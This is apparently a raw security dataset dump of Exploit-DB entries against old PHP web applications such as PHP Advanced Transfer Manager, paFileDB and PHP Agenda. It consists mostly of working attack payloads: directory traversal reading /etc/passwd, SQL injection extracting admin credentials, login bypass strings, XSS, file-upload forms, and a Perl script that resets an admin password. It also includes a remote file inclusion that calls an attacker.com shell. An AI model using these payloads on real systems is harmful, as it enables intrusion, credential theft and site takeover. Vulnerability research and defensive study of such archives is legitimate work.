deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9130
Description: PHP AdminPanel Free 1.0.5 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-07-12
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####         Php AdminPanel Free version 1.0.5 Remote File Disclosure            ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://www.apphp.com                                                    #
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[target]/[adminpanel_path]/modules/datagrid/scripts/download.php?file=export0000&dir=file.type%00
#                                                                                   #
#Note :                                                                             #
#Plz see this code :                                                                #
# .....                                                                             #
# $file_path = "../../".$dir.$file;                                                 #
# .....                                                                             #
#In download.php set file path 2 dir ups.                                           #
###################################### TNX GOD ######################################

# milw0rm.com [2009-07-12]
Exploit-DB #11613
Description: PHP Advanced Transfer Manager 1.10 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-03-02
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PHP Advanced Transfer Manager v1.10 Shell Upload Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Dork     : Powered by PHP Advanced Transfer Manager v1.10 - @2002 Bugada Andrea                                                                                                                                                                                                                
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                    
======================      Exploit By indoushka       =================================
# Exploit  :  

1- http://127.0.0.1/transfermanager/register.php?


2- http://127.0.0.1/transfermanager/index.php?


3- http://127.0.0.1/transfermanager/files/shell.php


Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/
--------------------------------------------------------------------------------------------------------------
Exploit-DB #25686
Description: PHP Advanced Transfer Manager 1.21 - Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2005-05-19
Author: Ingvar Gilbert

Exploit:
source: https://www.securityfocus.com/bid/13691/info

PHP Advanced Transfer Manager is prone to an arbitrary file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/index.php?include_location=http://www.example.com/
Exploit-DB #26287
Description: PHP Advanced Transfer Manager 1.30 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-20
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14887/info

PHP Advanced Transfer Manager is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/phpatm/viewers/txt.php?font=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/phpatm/viewers/txt.php?normalfontcolor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/phpatm/viewers/txt.php?mess[31]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #26286
Description: PHP Advanced Transfer Manager 1.30 - Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-20
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14883/info

PHP Advanced Transfer Manager is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Exploitation of any of these vulnerabilities could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/phpatm/viewers/txt.php?currentdir=../../../../../../../etc/passwd%00
http://www.example.com/phpatm/viewers/txt.php?currentdir=../../../../../../../etc&filename=passwd
http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../etc/passwd%00
http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../etc&filename=passwd
http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc/passwd%00
http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc&filename=passwd
http://www.example.com/phpatm/viewers/htm.php?current_dir=http://www.asite.com%00
http://www.example.com/phpatm/html.php?current_dir=http:/&filename=www.asite.com
http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../../[filename].zip%00
http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../..&filename=[filename].zip
http://www.example.com/phpatm/viewers/txt.php?current_dir=../include&filename=conf.php
http://www.example.com/phpatmviewers/txt.php?current_dir=../userstat&filename=[admin_name].stat
http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/admin%00
http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/[admin_name]%00
Exploit-DB #26437
Description: PHP Advanced Transfer Manager 1.30 - Remote Unauthorized Access
Type: webapps
Platform: php
Date: 2005-10-29
Author: Zeelock

Exploit:
source: https://www.securityfocus.com/bid/15237/info

PHP Advanced Transfer Manager can allow remote attackers to gain unauthorized access.

Access to sensitive files containing authentication credentials is not restricted, therefore an attacker can simply issue a GET request to obtain a user's password hash. This information can then allow them to successfully authenticate to the service using a cookie.

PHP Advanced Transfer Manager 1.30 is reported to be vulnerable. Other versions may be affected as well. 

http://www.example.com/phpATM/users/<username>
Exploit-DB #18845
Description: PHP Agenda 2.2.8 - SQL Injection
Type: webapps
Platform: php
Date: 2012-05-07
Author: loneferret

Exploit:
# Title:Simple PHP Agenda 2.2.8 SQLi Vulnerability
# Version: php-agenda 2.2.8
# Author/Found by: loneferret
# Manifacturer/Software link: http://sourceforge.net/projects/php-agenda/files/latest/download
# Other vulnerability: http://www.exploit-db.com/exploits/18694/

# Date found: May 7th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23

# Vulnerability:
# Due to improper input sanitization, the "priority" field when creating and adding an 
# item in the "todo list" is subject to SQL injection. 

# Severity:
# Well if anyone actually uses this, I suppose it would be high. But if you're like me
# and still use paper you should be safe.

# As always you can have as much fun with this...

Method: POST
Parameter: priority
Page: /engine.php
Payload: action=addTodo&priority=[SQLi]&text=Destcription&newTODO=Add todo item

PoC:
We need to bleed in the text field to be able to display anything interesting.
As the priority is only a "tinyint(4)". Text field is "text" so it can handle
a bit more data.

# mysql> describe todo;
# +----------+------------+------+-----+---------+----------------+
# | Field    | Type       | Null | Key | Default | Extra          |
# +----------+------------+------+-----+---------+----------------+
# | id       | int(11)    | NO   | PRI | NULL    | auto_increment | 
# | user_id  | int(11)    | NO   | MUL | 0       |                | 
# | priority | tinyint(4) | NO   |     | 0       |                | 
# | text     | text       | NO   |     | NULL    |                | 
# | added    | int(11)    | NO   |     | 0       |                | 
# | status   | tinyint(4) | NO   |     | 0       |                | 
# | closed   | int(11)    | NO   |     | 0       |                | 
# +----------+------------+------+-----+---------+----------------+

# So when pressing the "Add todo item" essentially issues this command to mysql:
# insert into todo (`user_id`,`priority`,`text`,`added`) values(1,4,'hello',[PII_REDACTED])

Get first username and password (usually admin):
POSTDATA=action=addTODO&priority=1,(select concat(username,0x3c,0x62,0x72,0x3e,password) from users limit 1),[PII_REDACTED])#&text=hello&newTODO=Add+todo+item

Get Database name:
POSTDATA=action=addTODO&priority=1,(select database()),[PII_REDACTED])#&text=hello&newTODO=Add+todo+item

If mysql can do it, load /etc/[CREDENTIAL_REDACTED]=action=addTODO&priority=4,(SELECT load_file(0x2f6574632f[PII_REDACTED]64)),[PII_REDACTED])#&text=hello&newTODO=Add+todo+item


# Nods to Exploit-DB, Offensive-Security for pretty much everything.
#
Exploit-DB #2591
Description: PHP AMX 0.90 - '/plugins/main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-18
Author: MP

Exploit:
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ phpamx 0.90 ]                                     #
#                                                                
# Class:     Remote|Local File Include Vulnerability            #
# Patch:     Unavailable                                        #
# Published  2006/10/18                                         #
# Remote:    Yes                                                
# Local:     No       						#
# Type:      High                                               #
# Site:      http://sourceforge.net/projects/phpamx/            #
# Author:    MP
# Contact:   mp01010@yahoo.com     				#
#        							#
#################################################################

Vuln Code
 (php/plugins/main.php):
<?php
include($plug_path."!playtime_top15.php");
include($plug_path."!mapcycle_list.php");
//nothing here
?>

#Vuln 1.0 -> require register_globals = On
http://victim.com/phpamx-0.9.0/php/plugins/main.php?plug_path=http://attacker.com/


#Vuln 2.0 -> require magic_quotes_gpc = Off
http://victim.com/phpamx-0.9.0/php/plugins/main.php?plug_path=http://attacker.com/shell.php?cmd=pwd%00

# milw0rm.com [2006-10-18]
Exploit-DB #42583
Description: PHP Appointment Booking Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ali BawazeEer

Exploit:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

<!-- 
# Exploit Title:  PHP Appointment Booking Script - injection login bypass  
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 28.08.2017
# software link : http://www.phpscriptsmall.com/product/php-appointment-booking-script/
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox 
# 
#
--!>

# ========================================================
#
#
# 
# 
# Description : an attacker is able to inject malicious sql query to bypass the login page and login as admin 
# 
# Proof of Concept : - 
# 
# http://localhost/appointment/admin_login.php [ set username and password ] to >>  admin' or 1=1 -- - 
#  
#   
#
#
# ========================================================
# [+] Disclaimer
#
# Permission is hereby granted for the redistribution of this advisory,
# provided that it is not altered except by reformatting it, and that due
# credit is given. Permission is explicitly given for insertion in
# vulnerability databases and similar, provided that due credit is given to
# the author. The author is not responsible for any misuse of the information contained 
# herein and prohibits any malicious use of all security related information
# or exploits by the author or elsewhere.
#
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
Exploit-DB #1050
Description: PHP Arena 1.1.3 - 'pafiledb.php' Remote Change Password
Type: webapps
Platform: php
Date: 2005-06-15
Author: Alpha_Programmer

Exploit:
#!/usr/bin/perl
######################################################################################
#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m           #
######################################################################################
#  EXPLOIT FOR:   PHP Arena paFileDB 1.1.3 And 0lder                                 #
#                                                                                    #
#Expl0it By: A l p h a _ P r o g r a m m e r (Sirus-v)                               #
#Email: Alpha_Programmer@LinuxMail.ORG                                               #
#                                                                                    #
#                                                                                    #
# + Discovered By: GulfTech                                                          #
# + Advisory: https://www.securityfocus.com/bid/13967                                 #
#Vulnerable:   PHP Arena paFileDB 1.1.3 and Older                                    #
######################################################################################
# GR33tz T0 ==>     mh_p0rtal  --  oil_Karchack  --  Dr_CephaleX  -- Str0ke          #
#And Iranian Security & Hacking Groups:                                              #
#                                                                                    #
#      Crouz ,  Simorgh-ev   , IHSsecurity , AlphaST , Shabgard &  Emperor           #
######################################################################################

use IO::Socket;
if (@ARGV < 2)
{
  print "\n====================================================\n";
  print " \n       PHPArena Exploit By Alpha Programmer\n\n";
  print "       Trap-Set Underground Hacking Team      \n\n";
  print "           Usage: <T4rg3t> <DIR>\n\n";
  print "====================================================\n\n";
  print "Examples:\n\n";
  print "    xpl.pl www.Site.com / \n";
  exit();
}

my $host = $ARGV[0];
my $dir = $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "C4nn0t C0nn3ct to $host" }
print "\n\n[+] C0nn3cted\n";
$http = "pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do&query=UPDATE%20pafiledb_admin%20SET%20admin_password%20=%20c15c493548d09ffd03c9d41d8bbbfeef%281337%28%20WHERE%201/*\n";
$http .= "Host: $host\n\r\n\r";
print "[+] Injecting SQL Commands ...\n";
sleep(1);
print "[+] Changing Admin's Password ...\n";
print $remote $http;
sleep(1);
while (<$remote>)
{
}
print "[+] Now , Login With This Password :\n";
print "[CREDENTIAL_REDACTED]\n\n";
print "Enjoy ;) \n\n";

# milw0rm.com [2005-06-15]
Exploit-DB #21957
Description: PHP Arena PAFileDB 1.1.3/2.1.1/3.0 - 'Email To Friend' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-21
Author: ersatz

Exploit:
source: https://www.securityfocus.com/bid/6018/info

PHP Arena paFileDB is prone to cross-site scripting attacks.

An attacker may construct a malicious link to the vulnerable script which contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will execute in their web client in the security context of the paFileDB site.

This issue is in the "Email to Friend" function of the paFileDB script. 

http://www.example.com/downloads/pafiledb.php?action=email&id=4?"<script>alert('Testing')</script>" 

http://www.example.com/downloads/pafiledb.php?action=rate&id=4?"&lt;script&gt;alert('Testing')&lt;/script&gt;" 

http://www.example.com/downloads/pafiledb.php?action=download&id=4?"&lt;script&gt;alert('Testing')&lt;/script&gt;"
Exploit-DB #22955
Description: PHP Arena paFileDB 1.1.3/2.1.1/3.0/3.1 - Arbitrary File Upload / Execution
Type: webapps
Platform: php
Date: 2003-07-24
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/8271/info

It has been reported that a script contained in paFileDB does not properly verify user credentials before accepting files for upload. As a result, remote attackers may be able to upload files to the Web server. After a file has been uploaded, it may be possible for the attacker to execute the file remotely.

<html><body>
<form ENCTYPE="multipart/form-data" method="POST" action="http://srv/pafiledb/includes/team/file.php">
<input name="userfile" TYPE="file"><br>
<input name="userfile_name" TYPE="text" value="../../../uploads/makeawish"><br>
<input type="hidden" name="action" value="team">
<input type="hidden" name="tm" value="file">
<input type="hidden" name="file" value="upload">
<input type="hidden" name="upload" value="do">
<input type=submit name=submit value="doit">
</form>
</body></html>
Exploit-DB #25200
Description: PHP Arena PAFileDB 3.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-08
Author: sp3x@securityreason.com

Exploit:
source: https://www.securityfocus.com/bid/12758/info

Multiple remote cross-site scripting vulnerabilities affect PHP Arena PaFileDB. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/pafiledb.php?"><script>alert();</script>
http://www.example.com/pafiledb.php?action="><script>alert();</script>
http://www.example.com/pafiledb.php?[something]="><script>alert();</script>
http://www.example.com/pafiledb.php?[something]=&[something]="><script>alert();</script>
Exploit-DB #26857
Description: PHP Arena PAFileDB Extreme Edition - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15912/info

PAFileDB Extreme Edition is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pafiledb.php?news=showcontent&newsid=[SQL]
Exploit-DB #8750
Description: PHP Article Publisher - Arbitrary Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-20
Author: ThE g0bL!N

Exploit:
--------------------------------------------------------------
PHP Article Publisher Arbitrary Auth Bypass Vulnerability
---------------------------------------------------------------
Founder :ThE g0bL!N
download from:http://www.graugon.com/publisher/download.html
Thank You Very Much ahmadbady
Note: Jmaa asmehouna ala ihdae pcq thaghra meshi meliha :)
---------------------------------------------------------------
Exploit:
------
path of control panel is
http://localhost/php_article_publisher/publisher/admin.php
The panel Wanted Pass and user.
exploit is :
------------
http://localhost/php_article_publisher/publisher/admin.php?id=1
Boooom !!Control panel Bypassed
Then Return in Home page admin.php
Note:You have all permission :)
----
Note2: Tested On localhost
-----
----------------------------------------------------------------
Greetz : His0k4 &AhmadBady & Cyb3r-Dev!L
-----------------------------------------------------------------

# milw0rm.com [2009-05-20]